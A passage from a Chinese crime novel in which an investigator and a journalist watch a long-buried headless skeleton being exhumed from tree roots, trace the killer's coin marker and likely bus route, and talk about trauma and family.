她好似与这棵树融为一体,树从她身上汲取营养物质,树干之上留下了斑驳的霉菌黑斑,那是罪恶的留痕。 所有人沉默地看着这形如地狱绘图的一幕,他们感到的并非是恶心,而是头皮发麻的震撼。如果不是有秦梓需锲而不舍的追查,如果不是有这么多新发展出来的高科技侦查技术,这具无头尸骨还会在这棵树下躺多少年? 她的呐喊与悲嚎,在天空中已然无声地徘徊了十五年,直至被挖掘出来的这一刻,才终于震耳欲聋地响起。 “他没有转移尸体。”秦梓需面色凝重地沉声说道。 “为什么,他竟然不害怕被发现吗?”章弥真问。 “我不知道他到底是怎么想的,如果他当真不害怕,那说明他有着有恃无恐的资本。”秦梓需道。 章弥真已然说不出话来,脸色略显苍白,身上的热汗逐渐寒凉,山风一吹,森冷之意爬上脊背。 “你还能走吗?我想靠近去看看这棵树。”秦梓需道。 “能走,你扶着我点就行。”章弥真道。 秦梓需带着她靠近树干,小心避开法医、痕检的作业区域,围着树绕了一圈。她的目光定在了一处树瘤上。这树瘤在相当高的位置,目测起码离地5米。 “有梯子吗?”她出声问。 谢云卿闻言,立刻下命令:“去把梯子拿过来!” “你干嘛?要爬树?”章弥真不知道她一直抬头在看什么。 秦梓需从自己的腰包里取出了一把多功能战术钳,解释道:“我在找凶手在这树上做的记号,15年前,这棵树还是一棵树苗,顶多一人高。15年后,这棵树长高了许多,当年他做下记号的位置很可能已经长到高处了。 “他没有转移尸体,但我认为他也不会真的完全放心,也许他会有事没事到天平山来,确认尸体仍然还埋在原处,没被人发现。这意味着他可能会反复在树上去做记号。人的伤口如果反复被破开愈合,会长出很难看的肉瘤疤痕,树也一样,你看那个瘤子,我感觉有点可疑,打算上去查查看。” 她话音刚落,就有两个干警抬着一架轻量化折叠梯来了,这梯子是早先从护林员那里借来的,为以防万一,现在还真就派上用场了。 秦梓需将章弥真送到一旁的树边上,让她扶着树站着。两个干警已经架起梯子,并扶稳等她了,秦梓需手脚利落地爬上梯子。 几位领导都在下面仰着脖子看她,每个人脸上都写着困惑。 秦梓需爬到合适的高度后,用多功能钳的刀刃一点一点削开那颗树瘤。这棵树木质比较坚硬,她颇费了番功夫,又是凿又是挖,终于她感觉到刀刃碰到了一个并非木质的坚硬东西。 秦梓需连忙继续清理,直至她用钳子将一枚硬币从其中钳了出来。 她目光炯炯地盯着这枚硬币,这是一个5毛硬币,背面是荷花图样。 她立刻从梯子上下来,下到倒数三节时直接跳了下来,将这硬币亮给几位领导看,道: “这应该是凶手塞进树里做记号用的。” 立刻就有痕检员拿了一个证物袋上来,秦梓需将硬币丢进去。 “凶手在塞进去时,多半擦过了,他也很可能是带着手套操作的。”刘明城适时地泼了盆冷水,他不希望看秦梓需太过失望。 秦梓需早有心理准备:“不指望真的能查出指纹,但还是值得一查。” “一个5毛硬币也能做记号……”谢云卿显然对此感到有些诧异不解。 “凶手能够大致记得自己埋尸的范围,以后再来时,只需要在小范围内寻找硬币记号就行。这5毛硬币是金色的,和麻栎树的颜色差别不大,他将树纵向向内凿了一个狭长的缝,将硬币塞进去一半,然后外部用树皮盖住,不仔细看不会发现任何异常。 “此后多来几次,待到硬币完全长进了树身,形成了树瘤,也许凶手已经能熟稔地寻找到埋尸的树了。可以肯定的是,这些年他一定是频繁进山,他得随时掌握尸体的动向。”秦梓需解释道。 耿剑秋插话道:“我们来的时候问过护林员,他们对这片林子也是三不五时会巡查,看看有没有病虫害。这么多年了居然一直没发现这棵树有问题,也不知道他们到底是怎么做工作的。” “这棵树挺顽强的,虽然确实因为尸体的影响,表面出现了一些病害特征,但整体来说仍然是茁壮成长了。护林员大多不会对这类树过多关注,这片树林毕竟是为了保护秤锤树而栽种的,护林员更多的精力是放在维护秤锤树上。何况,凶手如果频繁进山来查看这棵树,他也会对树进行维护,清理表层的病害特征,让树看上去没那么显眼。”秦梓需推测道。 谢云卿点头,分析道:“这么多年,凶手一直没有转移尸体,可能一来是考虑到处理尸骨的风险较高,他可能缺乏此类手段。二来大概是想要这么做也不大能做到了,树根已经将尸体完全吞没、合二为一了。三来,由于警方长期不曾关注过天平山,凶手很可能早就放松了警惕,觉得没有必要再费力气了。” 众人正讨论间,清理树根的法医李之枚有了新发现,喊道: “死者的胸骨下方好像嵌着什么东西!” 第27章 第二十七章 章弥真特别好奇地抻着脖子探望,奈何她离得远了,走路又不方便,只能扶着树站在原地,竖着耳朵听他们讨论。 秦梓需和几位领导已经凑了上去,看李之枚用刷子一点一点将根须和泥土清理干净。好一会儿,李之枚用医用镊子夹着一个金属片,举在了众人眼前。这金属片的表面已经锈蚀不堪,沾满了污秽,加上变形,众人一时间很难分辨这到底是什么东西。 “这是什么?是土里本来就有的吗?”耿剑秋询问道。 “我认为不是,这金属表面有强酸腐蚀的痕迹,我倾向于这可能是死者胃里的东西。不过还需要化验,才能具体确认。”李之枚道。 秦梓需蹙眉道:“正常人不会把金属吞到胃里,难不成……是死之前在极端环境下吞下去的?” 耿剑秋附和:“说不定某种死亡讯息,死者在意识到自己即将被害时,拼尽最后一丝力气咬住了凶手身上的某个东西,将其吞入腹中,凶手对此并未察觉。” 谢云卿询问李之枚:“这上面是否还能检测出指纹?” 李之枚考虑了一下,摇了摇头道:“比较困难,指纹主要由汗液、皮脂、角质细胞等组成,其中汗液中含有水、盐分和一些有机物。这些成分在胃酸的强酸性环境中会被分解或破坏,从而影响指纹的完整性。如果金属物品在胃中停留时间较短,胃酸对其腐蚀程度可能较低,指纹可能仍能部分保留。但如果停留时间较长,那就难说了,我估摸着最多不超过4小时,指纹就会完全消失。” 众人面显失望神色,可李之枚却话锋一转,道:“但……还是存在一线希望。因为一般来说,人死后,腐败细菌开始在肠道内繁殖并产生气体,死后4-5小时,腹部可能会出现膨胀,这是腐败气体产生的结果。随着腐败过程的进展,胃酸和其他胃内容物可能会在死后12-24小时内因腹腔内压增高而溢出。 “但本案又非常特殊,因为死者被斩首了,尸体的腹腔并非是一个高压封闭状态,因为颈部气管和大动脉都是开放状态,食管和气管的连接被破坏,胃内容物可能会更容易从食管反流,甚至溢出体外。 “也就是说,可能因为这样的变化,导致胃酸减弱,不足以完全分解金属之上的指纹痕迹。我现在也不好说,得回去做检测才能知道。” 众人重又燃起一线希望。 刘明城长舒一口气,感慨道:“不论如何,停滞已久的抛颅案终于有了重大进展,秦老师,多亏了你坚持不懈啊。” 秦梓需只是摇头,能走到这一步,靠的绝不仅仅是她。 “我们虽然找到了尸身,但距离找到凶手还差得远,这几天排查下来,说实在的,好像又走进迷雾了。我的想法是,我们想去一趟云南,搞清楚赵蕾的真实身份。”她道。 “好,理所应当。秦老师你要带多少人手?我来安排。”谢云卿问。 “其实……我和章弥真两人就够了,更多的人有点太显眼了。”秦梓需道,“如果需要大面积查访,我们可以委托当地配合,到时候还请刘总、谢支支持。” “一定。”两位领导答得非常痛快。 “另外还有一点就是,我希望抛颅案的调查能够尽量低调,哪怕是警队内部也不要声张。我认为凶手可能这么多年来从未长时间离开过胥城,且一直在关注警方的动向,这个凶手非常聪明谨慎,难保他不会有一些触角伸到警队内部,所以今日我们在天平山的挖掘行动,千万要做好保密工作。”秦梓需显得有些忧心忡忡。 二位领导也知道利害,刘明城保证道: “放心,保密的事省厅会下死命令,所有参与单位的同事,都会三令五申保密条例。” 谢云卿看了一眼不远处的章弥真,压低声音对秦梓需道:“那位章记者,还希望秦老师多照顾着了。” 她说得委婉,意思就是让秦梓需看着章弥真,千万不要让章弥真犯错泄密。看来这位支队长对于记者是缺乏信任的。 秦梓需也不好说什么,只能点头答应。 由于尸身白骨化后和大量根须、土块板结在一起,要清理出来恐怕要费一番功夫,一时半会儿结束不了。而金属探测器已经将探查范围内的土壤都扫了一遍,没有任何发现,凶手显然没有将凶器和尸体埋在一块,因而也不需要这么多人都在现场滞留。 大部队完成了搜索任务,绝大部分的特警和警犬队都提前撤离了,只余下市局、南丰区分局、天平区分局的侦查员和技术警还在现场处理后续工作。 谢云卿派了几组侦查员,到案发地附近去走访,想看看有没有人目击过有可疑的人来这片林子里滞留。耿剑秋、天平区分局的刑警队长也都亲自带队去了。 秦梓需为了照顾脚扭了的章弥真,没有跟着去,她把章弥真背回了坡上的停车处,让她坐在车座上休息。还拿了急救箱过来,帮章弥真处理扭伤的脚踝。扭伤不算严重,显然并未伤到骨头,上点药就行。 “谢啦老秦,麻烦你了。”章弥真一边喝水解渴,一边对正蹲在她跟前,查看她脚踝的秦梓需道。 “你以后千万小心,这山路难走,等去了云南,估计还得走山路。”秦梓需往她脚踝上喷云南白药,清凉的触感减轻了章弥真的疼痛感。 “已经要去云南了吗?”章弥真兴奋起来。 “嗯,我跟领导提了,等上面对接协调好,我们就能去了。”秦梓需道。 “那我们四个人去?” “用不着四个人,枚姐、雪莹留在胥城,她们的工作重点要放在检验尸骨上。我们俩去就够了,尽量低调点。到了当地,有当地的警方配合帮忙。” “看来我工作室的工作也得再调整一下,要是进了山,没信号,我可就真的没办法远程办公了。”章弥真嘀咕道。 秦梓需笑了,道:“你可真像个当妈的,对家里孩子这么不放心。” “等你带了团队你就知道了。” “我现在就在带团队啊。”秦梓需道。 章弥真鄙夷:“切,你也不看看你这个团队里都是些什么猛人,工作积极性一流,完全不需要你费心领导。” “你是说你自己吧。”秦梓需笑道。 章弥真笑而不语。 秦梓需用纱布给章弥真裹了一圈脚踝,做了一下简单固定,她这包扎手法一看就是受过专业训练的。章弥真不禁问: “诶,你这次回来查案,到底提前学了多少本事啊?之前说是集训了三个月的特种驾驶,现在又学了急救包扎,你是不是还会开飞机?你该不会也有个全能老爸,专门在夏威夷训练过你吧。” 这柯南梗来得猝不及防,让秦梓需哭笑不得:“什么老爸,我这都是跟着教练学的。我也不是专门为了查这个案去学这些的。技多不压身,而且,我只是想找点事充实一下我的业余时间,免得我脑子闲不下来,就会胡思乱想。” 胡思乱想什么?章弥真很想问,但终究没问出口。 “今天还行吧,这个场面,你这大记者还hold的住吗?”秦梓需收拾好药箱,直起腰来站定问道。 “没问题,hold的住。”章弥真故作轻松地道。但实际上那根须下的白骨,已成为她平生见过的最诡异的画面之一。她并不害怕,但心里非常沉闷。 “你要是心里难受,一定要说出来,憋在心里会生病的。”秦梓需很关心她的心理健康。 章弥真刚想说点什么,远处跑来了一位年轻的小警官,手里提着两份盒饭,是后勤在给现场人员发中午饭了。 其实这会儿已经到了下午一点多了,早就过了饭点,但不论是章弥真还是秦梓需,都没怎么感觉到饿。 “两位老师吃饭。”小警官将饭双手递给秦梓需,秦梓需接过,对方阳光一笑,转身跑开。 “这小弟弟还挺可爱。”章弥真笑道。 “这得是90末尾的小孩了。”秦梓需神情古怪。 “你想什么呢!我才不是那个意思。”章弥真愠怒道。 秦梓需笑笑,也不深究这个话题,她把饭递给章弥真,道:“趁热吃。” 章弥真打开饭盒,拿着筷子挑起一块米饭,脑海中突然闪现刀斧落下,身首异处,埋入土里被根须缠绕,慢慢腐烂的第一视角画面。感觉胃里就像是灌了水泥似的,硬邦邦、沉甸甸板结成一块,根本塞不下任何食物。 她强撑着将饭送进嘴里,又夹了一口菜吃,像是有深仇大恨似的嚼着。一旁,秦梓需已经用矿泉水冲了手,又用酒精棉片消毒,这才开始吃饭。 她倒是吃得很香,没有受到任何影响。 “痕检和法医她们这会儿不好吃饭吧。”章弥真鼓着腮帮子,含混问道。 “应该轮班来干,轮休的下来吃饭。我估摸着,这最快也得干到今天晚上才能收工。”秦梓需回道。 “咱们就在这里耗着吗?”章弥真又问。 “我其实是打算一会儿开车去附近转转的,不过你脚崴了……” “那就转转吧,我没事,走不了我就不下车,你转你的。”章弥真打断秦梓需道。 秦梓需望向她,见章弥真一口食物在嘴里咀嚼了半晌都咽不下去,她踌躇了片刻应道:“好。” 然后她走去自己车的后备箱,从一个储物箱里拿了一瓶酸梅饮料,递给章弥真。 “喝点吧。”她道。 章弥真接过,望着她欲言又止。秦梓需补充道: “大家都有一个习惯的过程,别逞强,酸梅汤开胃的,喝点多少能吃下点食物。” “嗯,谢谢。”章弥真难得领了她的情,她觉得今天的秦梓需格外顺眼。 章弥真放下饭盒,喝了几口酸梅汤,将食物送下去,总算感觉肠胃开始蠕动了。她感慨道: “你们当刑警的真不容易。” “是,干哪行都不容易。”秦梓需继续吃她的饭,她靠在车门边,端着饭盒,汗湿衣衫,看上去倒像是个体力劳动者。 “不不不,至少干记者比干刑警要轻松。”章弥真道,“我自从参与这个项目,感觉真是被扒了层皮。” “我常年不在一线,算不上是刑警的一员。但影视剧里那些光鲜亮丽的刑警,绝对和真实的刑警没有半毛钱关系。咱们也没有什么大侦探福尔摩斯的基本演绎法,有的只是枯燥的排查每一条线索,一点一点将证据磨出来。”秦梓需道。 “但我还是觉得,查案有意思。”章弥真道,“它的成就感在于,当你用自己的努力揭开真相的面纱时,灵魂会得到震颤和告慰。我感觉,这是一份沟通生死两界的工作。刑警就很像是镇魂师,不论是枉死的怨灵,还是生者备受折磨的灵魂,刑警都会让他们得以安息。” “嗯……不愧是你。”秦梓需扬起笑容,有些感动。她最佩服的就是章弥真这出口成章的本事,她确实是个感性的人,有丰沛的感情去感知这个世界。 她觉得章弥真的心态难能可贵,尽管世间罪恶灼心,仍可我心坚韧如钢。 头顶湛蓝的天空上,两朵白云絮絮依偎,时而追逐成环,时而融作轻纱,在晴空画布上交织成华美的弧线。 第28章 第二十八章(投雷加更No.4) 秦梓需午后没有急着开车去走访,她坐在车里,打开了警用电台,已经前往侦查的刑警们会及时在电台里将自己查到的地点和情况做简略汇报,避免重复侦查。秦梓需做的是综合所有的信息,来判断自己最应该去什么地方查。 大概是电台的内容太过枯燥,一直没有好消息传来。本来就困倦疲乏的章弥真,在强撑着听了一会儿电台后,就靠在副驾座椅上昏昏睡去。只留下秦梓需还在坚持不懈地听着。 也不知道睡了多久,章弥真突然感觉到车子动了,她从睡梦中苏醒,迷迷蒙蒙地将座椅抬起,她望了一眼车载时钟,居然已经是下午四点多了。 秦梓需正开着车在山道上盘桓往复地行驶着,警用电台已经关了,车内只有空调运作的微弱声响。 “咱们……这是去哪儿?” “哦,你醒了啊。”秦梓需看了她一眼,她刚才明显在出神,竟然没第一时间注意到章弥真已经坐起来了,“我打算去护林站一趟。” “护林站?不是别的人已经查过了嘛,说没看见来着。”章弥真还记得最开始听到的电台内容,护林站显然是侦查员访问的第一站,结果也是最快出来的。 “嗯,有些细节我想确认一下,估计他们可能没问到这么细。”秦梓需语焉不详道。 章弥真用秦梓需给她的提神棒擦了擦太阳穴,道:“你又有啥想法,说来听听。” “按照一般刑警的询问方式,他们肯定是直接问护林员是否有看到过可疑人物出现在那片林子里。但我觉得这么问不对,护林员每天都有固定时间巡山,凶手只要摸清楚规律,避开那段时间,护林员必然永远不会遇到凶手。 “那片林子一般游客是不会下去的,附近的村民也不会过来,因为为了保护秤锤树,附近有安置铁丝网,这一点,其他侦查员已经确认过了。凶手必然也会小心不在林子留下痕迹,所以要查凶手的踪迹,最应该着手的还是从凶手的心理出发。 “他要抵达这片林子,肯定是需要交通工具的,并且要避开耳目。我需要确认一下护林员巡山的时间点,来判断凶手最有可能在什么时间出现,然后再结合交通工具的猜想去反推凶手过来的路线,说不定这样能找到点线索。” 章弥真点头:“有道理。” 车子很快就抵达了护林站,一番沟通,二人知晓了护林员的工作规律。 天平山护林员一般是早上8点开始巡山,主要的任务是防火、捡垃圾。巡林时间大概是2-3个小时,也就是一个上午基本都在山上。中午才能回到护林站吃饭,有时候甚至是在山上解决午餐。 这些护林员都是本地村民,虽然受过训练,有基本的植物学知识和行山的经验,但不是植物学专家。 因此关于树木的生长情况,会有更专业的植物学专家定期跟队去林子里观察采样,并非是护林员巡山日常工作。 此外,巡山的具体时间安排因季节的不同而有所差异。例如,清明期间,护林员早上7点就要开始一天的巡查工作,并且由于清明期间祭祀和农事活动频繁,他们需要更加频繁地巡山,一天至少要走十几公里的路。 在干燥炎热的防火高风险期,护林员的巡护时间可能会延长,特别是在上午11点至下午14点半、下午15点半至傍晚等火灾高发时段。 秦梓需专门问了一下护林员是否有看到游客在那片埋尸的林子留下垃圾。护林员说这种情况极其罕见,他们很确定那片林子几乎不会有游客过去,人迹罕至。 秦梓需还专门要了一份他们巡山的路线图,他们平时走的路线还是挺固定的,由于现在无人机应用比较发达,护林工作减轻了许多,很多原本需要靠人走过去查看的地方,现在无人机飞一飞就能知道情况了,护林员因此不用再走那么多路。 无人机是大概18年时开始应用到护林工作的,在那之前,都还是靠人走。 回到车上,秦梓需摊开巡山路线图,结合着巡山时间和公交线路图进行比对。她和章弥真讨论了半晌,最终得出了一个初步的判断: 她们认为凶手每一次来,应该都是乘坐的公交车。他是不会开自己的车来的,免得给人留下印象,并且也会留下不必要的痕迹。每次来的时间应该都是傍晚时分,他不会在山上逗留超过1个小时,且一定会赶在末班车之前离开天平山。 走天平山的公交车没有夜间车,最晚一班车是8路车,19:30从天平山出发往市区开。 如果考虑到凶手需要查看树木的生长状况,而夜间在山里使用灯光有些显眼,凶手可能真的会掐着黄昏时分还有自然光线的时间点来到山上。 如此计算,凶手极有可能会乘坐17:30-18:30之间的公交车。如果最近他也有上山过,也许能从公交监控之中查出端倪,但这需要筛选海量的监控视频。 秦梓需用蓝信打电话给谢云卿汇报调查进展,并讲了一下她的思路: “现在是6月份,在此之前都算是胥城的春季,春季胥城多雨,不是防火重要时期。4月是清明季节,那会儿巡山频繁,凶手可能会考虑避开那段时间不上山。进入5月后一直到现在,凶手应该起码上过山,确认林子里并无异常。 “所以我的想法是双管齐下,一是尽量将那棵树还原到原来的状态,然后在林子里设置隐蔽探头布控,等凶手自投罗网。二是查一下5月到现在天平山运行的这几条公交线路的监控路线,重点查傍晚5:30-6:30之间的那几班车的监控录像,如果有一个身高175以上,独行一人的男子,可能就会比较有嫌疑了。” 谢云卿表示完全赞同秦梓需的想法:“我来安排,秦老师你放心,查监控这种繁琐的事,不需要你烦心了,我会组织人来查。” 此后,秦梓需又和章弥真返回了一趟现场,彼时已经是傍晚6点了,但现场的清理工作仍然在继续,预计可能还得再要1个小时才能全部清理完毕。 李之枚忙得抬不起头来,刘雪莹倒是还能抽出空子和秦梓需聊几句。 “秦老师,真真姐,你们先回吧,我们等会儿跟刑技中心的车直接去法医实验室。”刘雪莹忙了一整天,身上的工作服已经沾满了泥巴,未能盘起的碎发濡湿,粘在脸颊脖颈上,看上去疲惫又狼狈。 “好,辛苦你们了。有事蓝信联系。”秦梓需道。 二人终于驾车返回城区,大概是累了一天,一路上二人都显得沉默。直到入了城里的车河,秦梓需才询问章弥真: “你家在哪儿?我送你回家吧。” “白水天城,你知道吧?”章弥真倒是不客气,直截了当地道。 “知道。”秦梓需很快便往白水天城开去。 片刻后,她问道:“是你自己的房子吗?” “对,我自己的房子。”章弥真道,“老秦,你的房在北京?” “是,我可是背了沉重房贷的人,虽然学校给了安家费,但在北京买房你懂的。”秦梓需苦笑了一下。 “谁不是呢,唉……”章弥真叹息。 “你这么有钱,还为房贷发愁?”秦梓需奇道。 “我也不至于有钱到完全不用为房贷发愁的地步,你是不是对我有什么误解?”章弥真挑眉。 “就……你上学那会儿车接车送的……” “我就知道你会有这种想法。”章弥真道,“我爸妈那会儿确实挺有钱的,但现在他俩不是离婚了嘛。我妈的工资和积蓄还不足以随随便便可以给我买个房子,至于我爸……呵……他不来插手我的事我就很感谢他了,不指望他给我买房。” “你爸妈离婚了?”秦梓需吃了一惊。 “嗯,我到美国后没多久他们就离婚了。我爸他不老实,在外面有女人,而且还给我添了个小十岁的弟弟,你想想他那小三跟了他都多少年了。”章弥真说话时的口气就像这事儿是别人家发生的似的。 秦梓需一时间不知道该说什么才好,反倒是章弥真缓解气氛道: “所以,我对男人挺没什么兴趣的。他俩离婚一开始还瞒着我,那会儿我在美国上学,和家里联络的手段就是视频通话,他们会故意在一起让我看到。我每年回国一次,他们竟然还会凑一块骗我,其实那会儿我爸早就搬出去了。天知道我毕业时知道他俩离婚,对我的冲击有多大。 “男人有意思吗?结婚有意思吗?我真的很幻灭,我也不认为我需要婚姻。不过……都过来了。” 车内沉默了下来,车子上了一条快速高架,车速提了起来,路灯闪烁着从车窗前掠过。秦梓需把着方向盘,终于开口道: “你突然从央媒回到胥城,进东海日报,真的只是因为高薪挖角吗?有你妈妈的原因吗?” 章弥真叹了口气道:“你可真敏锐,我会回来确实有一部分原因是我妈,她那会儿查出有肿瘤,我真的吓坏了,后来发现是良性的,做手术切除了。但我还是担心她,这么多年我很少在家,她和我爸离婚后就一直是一个人过活,我不能不管她。所以……决定回家来发展,至少陪陪她。” 大概是被勾起了表达欲,章弥真顿了一下,声线转低: “可能在外人看来,我能力强,足够胜任记者这份工作,光鲜亮丽,一帆风顺。但我这么多年外派,其实很厌倦战场。你肯定看出我害怕尸体,该说那是害怕吗,更应该说是一种应激吧。 “我在叙利亚的第一年,在霍姆斯的胡拉镇就见过屠杀现场,一排排的死尸盖着白布,很多被斩首,身躯都不完整。我当时刚毕业没多久,哪里见过这种场面,虽然去之前参加了战场模拟训练,也做足了心理准备,还是冲击太大。那感觉……浑身都是麻的,灵魂出窍。后来连续一周都在做噩梦。到现在,我偶尔夜里惊醒,也还会梦见战场环境,甚至幻听枪炮声。 “人们都以为在战地环境工作的记者一定对尸体见多不怪。但我不一样,我一直不能很好地适应战地环境,不是说我不能胜任我的工作,只是我做起来会很心累。 “我的领导曾经评价我,说我的同理心太强了,不大适合从事战地记者的工作。但我就是死要强,他说我不行,我偏要钉在岗位上干下去,在这样的情况下我愣是坚持了三年。后来是我在叙利亚生了一场大病,被强制调离一线,再加上恰好遇上我妈也生病了,我离开了央媒,回到了家乡。” “但你回来后还是做了重大刑事案件的新闻?” “因为我不甘心啊,我想一雪前耻。而且,我这个人永远不能接受人类残害自己的同胞,我觉得每一个下杀手的人都必须被制裁,说到底,还是因为我同理心太强了。”章弥真叹息。 “这是优点,你不必为此感到挫败。”秦梓需道,“你是不是觉得法医和刑警都很厉害,见到尸体都可以不为所动?” “不是吗?”章弥真反问道。 秦梓需摇头:“不是,当然不是。我们跟你一样,都只是不肯表露出来罢了。我们强行用理性盖过了感性,提醒自己是专业人士,必须要表现出专业性。时间长了,见得多了,其实说难听点,就麻木了。 “人是不能麻木的,尤其是我们这些面临生死的人,不论是法医还是刑警,见多了死人,他们就会成为数字和业绩指标,而非是曾经鲜活的生命。我们的这份职业,需要有点同理心,才能有永远不断绝的心理驱动力。 “战场的极端环境,和当下你身处的环境又是截然不同的。你在那个极端环境里,时刻神经紧绷,过于紧张的状态下产生应激,造成心理创伤非常正常。而你现在处在安全环境中,突然被我带进了谋杀事件的调查,看到被阴险残害的人,你会感到不适也非常湳枫正常。说实在的,我心里也不舒服,已经很多很多年了,看了心理医生也没用,只能自己慢慢调整。” 章弥真有些颓丧地问道:“我是不是有时候很死要面子活受罪。” “呵,是有点,但这没什么,我很喜欢你这种性格,很鲜活。”秦梓需道。 章弥真捂脸:“该死的,今儿怎么对你说这些话,真要命。” “哈哈,放心,这也是保密的一部分。” 第29章 第二十九章 车行至章弥真家楼栋下,秦梓需最后好奇问道: “你妈妈是不知道你这些年都经历了什么吗?还是她觉得结婚就能抚平你的创伤?” 章弥真被戳中痛处,情绪立刻上来了:“问得好!我就不明白了,她自己的婚姻都那副德行了,怎么还偏要让我结婚?我和她谈过很多回了,她就是一口咬死,说人不能没伴儿,最好能有孩子,不然老后的世界很可怕。我不想让她知道我做的工作有多危险,对我造成了什么创伤。但……我也是真的不知道该如何和她沟通。” “你现在和你妈妈住在一起吗?”秦梓需望了一眼楼上问。 “不住在一起,她现在还住在家里以前买的房子里。她说住习惯了暂时不想搬到我那里去,她在那个小区交了不少同年龄的朋友,都是退休大妈,她们每天活动还挺多的。我有空会回去陪她,至少一周回去一次吧。”章弥真道。 “那……改天,我能不能去拜访一下你妈妈。”秦梓需突然提议道。 “啊?”章弥真吃了一惊。 “我可以和你妈妈聊聊,开解一下她,她应该没有你想象得那么顽固,她只是不知道该如何和你沟通而已。你们俩,可能相处在两个世界里太久了,需要有一个第三者为你们搭一座沟通桥梁。”秦梓需道。 章弥真望着秦梓需的侧脸,张了张口,却没能说出话来。 “我是不是有点太冒昧?”秦梓需见她突然沉默,一时间有些惶恐。 “没,谢谢你老秦。”章弥真道,“我真的……谢谢你。” 秦梓需听出了一丝隐秘的哭腔,她也因此眼眶微热。 章弥真已经逃也似地开车门下车了。 “明天见。”她的声音略显沙哑。 “嗯,再见。”秦梓需回道。 车门关上了,秦梓需看着章弥真一瘸一拐地走进楼栋,一时无声地叹了口气。 /:. 在开车返回自己家的途中,秦梓需反思自己,她有什么资格去帮章弥真处理家庭问题,她自己的家庭问题都还僵在那里呢。 她不是不能理解父母的良苦用心,但她希望他们也能理解自己的追求与理想。强硬的控制不会带来任何好结果,只会使得关系越来越僵。 她不是没有向父母妥协过,她离开一线进入高校,就有一部分原因是为了让他们安心。无数次试图说服自己忘记当年的事,也是想要顺从他们的意愿。 可换来的结果,却是她自己坠入了无尽的痛苦深渊之中,理想与现实背道而驰,执念在心中逐渐扭曲,以至于查案的窗口期逐渐缩小,连身心都被摧残。 她已下定决心,这一次没有任何人可以动摇她的信念,她必须查出一个结果来。 等结果出来了,她就可以拿着这个成果坦然行走于世,再也不会拧巴,不会纠结,她就能一身轻松地去见父母,告诉他们,自己已经完成了多年的夙愿。 她望了一眼支架上的手机,咬咬牙,再次选择了不去联系父母。 …… 天平山搜查结束,遵从秦梓需的想法,市局在山上做了隐蔽布控,并派了专人每日轮班24小时监视,守株待兔。 另一头,技侦与法医再次忙得不可开交,对从树根中筛检出的白骨进行拼接、化验。2日后,得出结论,这具白骨与头颅DNA吻合,也与信纸上的唾液DNA吻合,确为“赵蕾”的身躯。 至此,由于赵蕾与陈君梅存在的笔友关系,加上陈君梅家爆炸案存在的一些疑点,省厅、市局经过慎重考虑,决定对陈君梅家爆炸案重启刑事案件调查,并与赵蕾案并案调查。 这一决定只有内部负责此案的少数人知晓,本案并未大鸣大放地挂牌成立专案组,只是以秦梓需为核心,组建了一支机密的侦查小组。章弥真、刘雪莹、李之枚自不必说,另有精选出的南丰区分局和一部分市局的侦查员加入了侦查组,总人数并未超过15人。 这些人坐在一起开了一个案情会,对下一步侦查作出安排。 刘明城和谢云卿让15人中的一半侦查员开始查找秦梓需提出的公交车监控录像。除此之外,两位领导还询问秦梓需去云南是否需要其他人手,秦梓需想了想,只要了一位信息中心擅长网络侦查的专业人员。 于是谢云卿就将那天给她们带过路的那个小伙子小宋调给她们,同时,秦梓需的这趟行程还被强制塞了一位男性成员,就是南丰分局的耿剑秋。 会后,章弥真大为不满,私底下在女厕所里跟秦梓需吐槽:“这家伙怎么跟牛皮糖似的甩也甩不掉!” 秦梓需无奈,只得安抚道:“领导有领导的考虑,怕我们在云南有危险,所以非得安排男同志同行。这也算是有帮手了吧,而且,查这个案子确实也是耿剑秋的分内事,你就别怄气了。” “哼,此前不知道他在干什么,现在出结果了反倒来蹭,真的好会投机取巧哦。”章弥真更生气了,“而且,怎么又是男人保护女人的那一套?我们俩能遇着什么危险?就算有危险,以你的身手还对付不了?” 秦梓需有点头疼,道:“我也不是万能的,不怕一万就怕万一,多个帮手总是好的。” “老秦,不是我说你,你在面对领导的时候有些软弱了。你要学会据理力争!”章弥真当年可就是拼着这一股跟领导对着干的气,硬是在叙利亚钉了三年。 “警队是纪律部队,领导下达的指令相当于军令,我不好违抗的,何况领导如此安排,也没什么特别不妥的地方,我要反抗也没有借口啊。” “所以我就是讨厌体制内!”章弥真气鼓鼓地洗手,水都溅到了池子外。 秦梓需哭笑不得,她承认她心里也不是很舒服,但工作这么些年,面对类似的问题实在太多了,她只能学会尽量调整自己的心态。她当前的首要目的是协调各方力量,尽快查清案情,为了达成这个目的,她愿意做出一些妥协让步。 不论是新的关于白骨身躯的验尸报告,还是查找公交车的监控录像,亦或是锶同位素的检测结果,都需要耐心等待,短时间内出不了结果,秦、章二人就算想继续查,也得歇口气。 但这并不影响她们出发前往云南。 出发的日子定在7月2日,也就是后天。于是这两天,秦梓需、章弥真有了一个短暂的假期,可以做一做去云南出差的准备。章弥真崴了的脚还没完全好,她宅在家里不出门了,居家办公,处理她自己积攒的工作。秦梓需则在出租屋里整理目前查到的所有线索,以期找到新的思路和突破口。 出发的前一天,她一大早起床,先完成晨练,然后收拾好行李,就窝在出租屋里推敲案情,直到傍晚肚子咕咕叫,才想起来连午饭都没吃,家中冰箱空空如也,她于是拿了手机、钥匙出了家门,出去觅食。 天气已经进入盛夏,尽管是傍晚时分,一出家门仍是一股热浪袭来。秦梓需思忖着去了云南大概会凉快些,尤其是山里甚至很冷,得带件厚外套才是。还有,昭通属于乌蒙山地区,那里可是多雨地带,得带好雨衣雨鞋。 她出了小区,步行去了附近的一处美食街,找了一家面馆吃面。坐着等餐的功夫,店里进来了4个男子,围着她斜前方的餐桌坐下。秦梓需打眼一瞧,便知晓这4个人是警察,虽然她并不认识他们,他们也没有参与抛颅案的调查。 她租屋附近就是市局,能遇见出来吃饭的警察可太正常了。 四人要了啤酒,不仅点了面,还点了几样卤菜,看来是想喝点放松下。这是案子了结了吧,不然可不敢这么放松,秦梓需猜想。 可他们看上去似是心情不佳,上来就一个个的在喝闷酒,一句话不说。 秦梓需的面来了,她慢吞吞地吃自己的面,留了三分注意力在那桌。 终于,在三杯酒下肚后,一个看上去稍显沉不住气的年轻男子开口抱怨道: “TMD,到底有完没完啊。” 这话引发了他身边另外一个年轻男子的附和:“可不是嘛,没能赶在谢支回来前搞定,这下被骂得狗血淋头。” “诶,小点声。”他对面一位中年男子皱了下眉头,阻湳枫止这个年轻男子继续大声抱怨,他使了个眼神,刚才那个大声抱怨的男子扭头朝着秦梓需这桌看了一眼,也不吱声了。 